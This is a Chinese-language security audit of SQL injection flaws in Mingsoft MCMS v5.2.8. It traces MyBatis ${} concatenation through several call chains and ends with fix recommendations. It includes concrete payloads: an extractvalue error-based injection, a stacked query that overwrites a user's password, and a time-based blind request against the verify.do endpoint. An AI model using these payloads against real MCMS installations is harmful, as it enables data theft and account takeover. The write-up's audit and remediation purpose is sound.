某代码审计SQL注入篇
字数 1656 2025-08-26 22:11:57
铭飞MCMS v5.2.8 SQL注入漏洞审计与分析
0x00 前言
铭飞MCMS是一款广泛应用于政府、教育等行业的内容管理系统,基于SpringBoot 2架构,前端基于vue和element ui。尽管该系统定期更新,但底层代码中仍存在多处SQL注入漏洞。本文详细分析这些漏洞的成因、利用方式及修复建议。
0x01 审计环境
- 目标系统: Mingsoft MCMS v5.2.8
- 数据库: MySQL 8.0.29
- JDK版本: OpenJDK 19.0.1
- 代码来源: https://gitee.com/mingSoft/MCMS/tree/5.2.8/
0x02 审计思路
自动化代码审计工具使用
-
反编译jar包:
- 使用jadx工具反编译依赖jar包(ms-base、ms-basic、ms-mdiy)
- 将jar重命名为zip解压后,使用jadx导出为java文件
-
优化扫描配置:
- 修改fortify-sca.properties文件,移除对JS文件的扫描(删除
com.fortify.sca.DefaultFileTypes中的,js)
- 修改fortify-sca.properties文件,移除对JS文件的扫描(删除
人工审计SQL注入思路
SQL注入需满足两个条件:
- 输入参数用户可控
- 直接或间接拼入SQL语句执行
重点关注两种SQL执行方式:
-
直接使用JDBC:
- 搜索
SELECT、DELETE、UPDATE等关键词 - 搜索
Statement、PreparedStatement等方法
- 搜索
-
使用MyBatis:
- 预编译机制使用
#{}(安全) - 直接拼接使用
${}(危险) - 特别关注
order by等不能使用预编译的场景
- 预编译机制使用
0x03 审计过程
1. 底层映射存在注入漏洞引发多个前台注入
漏洞根源:
在IBaseDao.xml中,sqlWhere绑定使用了${}直接拼接:
<bind name="sqlWhere" value="@net.mingsoft.base.util.SqlUtil@buildWhereSql(${tableName},${where})"/>
影响点分析:
第一处GET类型注入
- 路径:
IDictDao.xml→IDictBiz→DictAction.class - 利用方式:
{ "sqlWhere": "[{\"action\":\"\",\"field\":\"extractvalue(0x7e,concat(0x7e,(database())))\",\"el\":\"eq\",\"model\":\"contentTitle\",\"name\":\"文章标题\",\"type\":\"input\",\"value\":\"a\"}]" }
第二处GET类型注入
- 路径:
IDictDao.xml→dictBiz.queryExcludeApp→DictAction.class - 利用方式: 同上
第三处POST类型注入
- 路径:
ICategoryDao.xml→categoryBiz.query→CategoryAction.java - 利用方式: 同上
第四处POST类型注入
- 路径:
IContentDao.xml→contentBiz.query→ContentAction.java - 利用方式: 同上
2. 后台自定义模型任意SQL语句执行
漏洞路径:
-
IBaseDao.xml中定义了excuteSql操作:<select id="excuteSql" resultType="Integer" parameterType="String"> ${_parameter} </select> -
调用链:
IModelDao→ModelBizImpl→ModelAction.class
利用步骤:
- 访问后台自定义模型功能(需权限)
- 生成代码时构造恶意SQL:
{ "sql": "select * from user; update user set password='hacked' where id=1" }
3. 校验参数接口前台SQL注入
漏洞路径:
IBaseDao.xml中的queryBySQL使用${}拼接- 调用链:
BaseBizImpl.java→BaseAction.class#validated→PageAction.java#verify
利用方式:
GET /ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=b&id=c&idName=1
0x04 总结与修复建议
漏洞总结
- MyBatis中
${}直接拼接导致多处注入 - 后台功能缺乏足够过滤
- 参数校验接口存在注入
修复建议
-
代码层面:
- 尽可能使用
#{}预编译 - 必须使用
${}时,严格过滤输入(白名单) - 数字类型参数强制转换
- 尽可能使用
-
架构层面:
- 实现表单过滤层
- 关键操作增加权限校验
-
运维层面:
- 部署WAF防护
- 定期进行安全审计